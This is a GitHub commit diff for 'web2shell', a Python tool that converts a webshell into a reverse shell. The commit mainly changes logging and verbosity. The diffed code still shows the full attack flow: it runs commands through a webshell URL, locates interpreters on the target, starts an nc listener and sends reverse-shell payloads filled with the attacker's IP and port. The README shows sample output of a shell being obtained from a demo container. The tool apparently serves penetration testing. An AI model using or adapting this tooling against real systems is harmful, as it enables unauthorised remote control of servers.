Skip to content

Commit 72323f9

Browse files
committed
Verbosity and logging changes
1 parent 1f4ac5a commit 72323f9

File tree

7 files changed

+75
-43
lines changed

7 files changed

+75
-43
lines changed

README.md

Lines changed: 16 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ Credit for the reverse shells goes to [PayloadAllTheThings.](https://github.com/
77
## Usage
88

99
```
10-
usage: web2shell [-h] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] url
10+
usage: web2shell [-h] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--verbose] url
1111
1212
Automate converting webshells into reverse shells.
1313
@@ -22,15 +22,16 @@ options:
2222
--ip IP IP address of your own listener (skips listener setup if both IP and port are set)
2323
--port PORT port of your own listener
2424
--nc NC path to local nc binary
25+
--verbose verbose command output
2526
```
2627

27-
The only **required** flag is the `url.`
28+
Providing an IP and port will cause the program to skip the listener setup and assume you already have netcat/a comparable listener running at that address.
2829

2930
Please note: this program currently is only intended to be used on and against Linux machines.
3031

3132
## Requirements
3233

33-
Install the required python modules with pip (`pip3 install -r requirements.txt`.) You will need a local copy of `nc`. The program will attempt to find it automatically. If it can't, please specify the path with the `--nc` flag.
34+
Install the required python modules with pip (`pip3 install -r requirements.txt`.) You will need a local copy of `nc`. The program will attempt to find it automatically. If it can't (it might not be in your `$PATH`), please specify the path to the binary with the `--nc` flag.
3435

3536
## Adding New Payloads
3637

@@ -45,7 +46,7 @@ The included payloads have all been tested on a simple webshell and work. If you
4546
Example execution on local Docker image (see `demo/README.md`)
4647

4748
```
48-
[evan@ejedev web2shell]$ python3 web2shell.py --url http://127.0.0.1:8080/cmd.php?cmd=SHELL --interface docker0
49+
[evan@ejedev web2shell]$ python3 web2shell.py -i docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL
4950
5051
o o o o
5152
O .oOOo. O O O
@@ -66,25 +67,29 @@ Available interfaces...
6667
[-] br-7436527ee366
6768
[-] br-aa3534e13396
6869
[-] br-c7551daa06d2
69-
[-] veth87ee241
70+
[-] veth148b75b
7071
docker0 selected. Address to use is 172.17.0.1
7172
Testing ports...
72-
[-] 1025 available!
73+
[x] 1025 already in use or unavailable.
74+
[-] 1026 available!
7375
Finding local nc binary...
7476
nc target at /usr/bin/nc
75-
Final connection string will be 172.17.0.1:1025...
77+
Final connection string will be 172.17.0.1:1026...
7678
Finding bins...
7779
Ncat: Version 7.93 ( https://nmap.org/ncat )
78-
Ncat: Listening on :::1025
79-
Ncat: Listening on 0.0.0.0:1025
80+
Ncat: Listening on :::1026
81+
Ncat: Listening on 0.0.0.0:1026
8082
[-] perl found at /usr/bin/perl
8183
[-] perl found at /usr/bin/perl5.32-x86_64-linux-gnu
8284
[-] php found at /usr/local/bin/php
8385
[-] python found at /usr/bin/python3.9
86+
[-] ruby found at /usr/bin/ruby2.7
87+
[-] ruby found at /usr/bin/ruby
88+
[-] go found at /usr/bin/go
8489
Executing reverse shell...
85-
Bins to test: 4
90+
Bins to test: 7
8691
[!] Attempting perl payloads for path /usr/bin/perl
8792
Ncat: Connection from 172.17.0.2.
88-
Ncat: Connection from 172.17.0.2:54256.
93+
Ncat: Connection from 172.17.0.2:38870.
8994
$
9095
```

demo/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
1. Build the docker image (`docker build . --tag webshell`)
44
2. Run the image (`docker run -it -p 8080:80 webshell`)
5-
3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --url http://127.0.0.1:8080/cmd.php?cmd=SHELL --interface docker0`)
5+
3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --interface docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL`)
66

77
Note: This Docker container has the binaries for all supported reverse shells. They are as follows:
88

modules/commands.py

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -3,40 +3,44 @@
33
import requests
44

55
from data import payloads
6+
from modules import logger
67

78

89
def execute(url: str, command: str) -> str:
910
if "SHELL" not in url:
10-
print("Invalid URL. Please make sure the formatting is correct.")
11+
logger.log("Invalid URL. Please make sure the formatting is correct.")
1112
exit()
1213
command_string = url.replace("SHELL", command)
1314
data = requests.get(command_string)
1415
return data.text
1516

1617

17-
def find_bins(url: str) -> list:
18+
def find_bins(url: str, verbose: bool) -> list:
1819
valid = []
1920
bins = list(payloads.payloads.keys())
2021
for bin in bins:
21-
result = execute(url, f"whereis {bin}").split(" ")
22-
for path in result:
22+
result = execute(url, f"whereis {bin}")
23+
logger.log(result, logger.Types.VERBOSE, True, verbose)
24+
for path in result.split(" "):
2325
if "bin" in path and bin in path:
2426
valid.append({bin: path})
25-
print(f"[-] {bin} found at {path}")
27+
logger.log(f"{bin} found at {path}", logger.Types.SUCCESS)
2628
return valid
2729

2830

29-
def reverse_connection(valid_bins: list, url: str, ip: str, port: int):
30-
print(f"Bins to test: {len(valid_bins)}")
31+
def reverse_connection(valid_bins: list, url: str, ip: str, port: int, verbose: bool):
32+
logger.log(f"Bins to test: {len(valid_bins)}")
3133
for bin in valid_bins:
32-
print(f"[!] Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}")
34+
logger.log(f"Attempting {list(bin.keys())[0]} payloads for path {list(bin.values())[0]}", logger.Types.ALERT)
3335
for payload in payloads.payloads[list(bin.keys())[0]]:
3436
cmd = urllib.parse.quote(
3537
payload.replace("PATHHERE", list(bin.values())[0]).replace("IPHERE", ip).replace("PORTHERE", str(port))
3638
)
37-
print(execute(url, cmd))
39+
result = execute(url, cmd)
40+
logger.log(result, logger.Types.VERBOSE, True, verbose)
3841

3942

40-
def verify(url: str) -> bool:
43+
def verify(url: str, verbose: bool) -> bool:
4144
data = execute(url, "uname -a")
45+
logger.log(data, logger.Types.VERBOSE, True, verbose)
4246
return "linux" in data.lower()

modules/connection.py

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,32 @@
11
import socket
22

3+
from modules import logger
4+
35

46
def get_ip(interfaces: dict, provided_inteface: str) -> str:
5-
print("Available interfaces...")
7+
logger.log("Available interfaces...")
68
selected = None
79
for interface in interfaces:
8-
print(f"[-] {interface}")
10+
logger.log(interface, logger.Types.SUCCESS)
911
if provided_inteface == interface:
1012
selected = interface
1113
if selected is None:
12-
print("No interface provided. Defaulting to localhost.")
14+
logger.log("No interface provided. Defaulting to localhost.")
1315
return "127.0.0.1"
1416
else:
15-
print(f"{selected} selected. Address to use is {interfaces[selected][0].address}")
17+
logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}")
1618
return interfaces[selected][0].address
1719

1820

1921
def get_port(ip: str) -> int:
20-
print("Testing ports...")
22+
logger.log("Testing ports...")
2123
for port in range(1025, 10000):
2224
try:
2325
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2426
s.bind((ip, port))
25-
print(f"[-] {port} available!")
27+
logger.log(f"{port} available!", logger.Types.SUCCESS)
2628
s.close()
2729
return port
2830
except:
29-
print(f"[x] {port} already in use or unavailable.")
31+
logger.log(f"{port} already in use or unavailable.", logger.Types.ERROR)
3032
return -1

modules/flags.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,4 +51,5 @@ def setup(parser):
5151
required=False,
5252
default=None,
5353
)
54+
parser.add_argument("--verbose", help="verbose command output", required=False, action="store_true")
5455
return parser

modules/logger.py

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
from enum import Enum
2+
3+
4+
class Types(Enum):
5+
ALERT = "[!]"
6+
ERROR = "[x]"
7+
SUCCESS = "[-]"
8+
VERBOSE = "[*]"
9+
NONE = ""
10+
11+
12+
def log(message: str, type: Types = Types.NONE, verbose: bool = False, verbosity: bool = False):
13+
if verbose and not verbosity:
14+
pass
15+
elif type == Types.NONE:
16+
print(message)
17+
else:
18+
print(f"{type.value} {message}")

web2shell.py

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44
import psutil
55

6-
from modules import commands, connection, flags, local
6+
from modules import commands, connection, flags, local, logger
77

88
parser = argparse.ArgumentParser(
99
prog="web2shell",
@@ -13,34 +13,36 @@
1313
results = parser.parse_args()
1414
flags.splash()
1515
if not results.force:
16-
print("Verifying commands can be executed...")
17-
if not commands.verify(results.url):
18-
print("System does not seem to be accepting commands. You can ignore this with --force True")
16+
logger.log("Verifying commands can be executed...")
17+
if not commands.verify(results.url, results.verbose):
18+
logger.log(
19+
"System does not seem to be accepting commands. You can ignore this with --force",
20+
)
1921
quit()
2022
if results.ip is None and results.port is None:
2123
ip = connection.get_ip(psutil.net_if_addrs(), results.interface)
2224
port = connection.get_port(ip)
2325
if port < 1:
24-
print("No ports available.")
26+
logger.log("No ports available.")
2527
quit()
2628
if results.nc is not None:
2729
nc = results.nc
2830
else:
29-
print("Finding local nc binary...")
31+
logger.log("Finding local nc binary...")
3032
nc = local.find_nc()
3133
if nc is None:
32-
print("nc not found. Please specify the path to it with --nc /path/to/bin")
34+
logger.log("nc not found. Please specify the path to it with --nc /path/to/bin")
3335
quit()
34-
print(f"nc target at {nc}")
36+
logger.log(f"nc target at {nc}")
3537
p = subprocess.Popen(f"{nc} -nlvp {port}".split(" "), start_new_session=True)
3638
else:
3739
ip = results.ip
3840
port = results.port
39-
print(f"Final connection string will be {ip}:{port}...")
40-
print("Finding bins...")
41-
bins = commands.find_bins(results.url)
41+
logger.log(f"Final connection string will be {ip}:{port}...")
42+
logger.log("Finding bins...")
43+
bins = commands.find_bins(results.url, results.verbose)
4244
if len(bins) < 1:
43-
print("No valid bins found.")
45+
logger.log("No valid bins found.")
4446
quit()
45-
print("Executing reverse shell...")
46-
commands.reverse_connection(bins, results.url, ip, port)
47+
logger.log("Executing reverse shell...")
48+
commands.reverse_connection(bins, results.url, ip, port, results.verbose)

0 commit comments

Comments
 (0)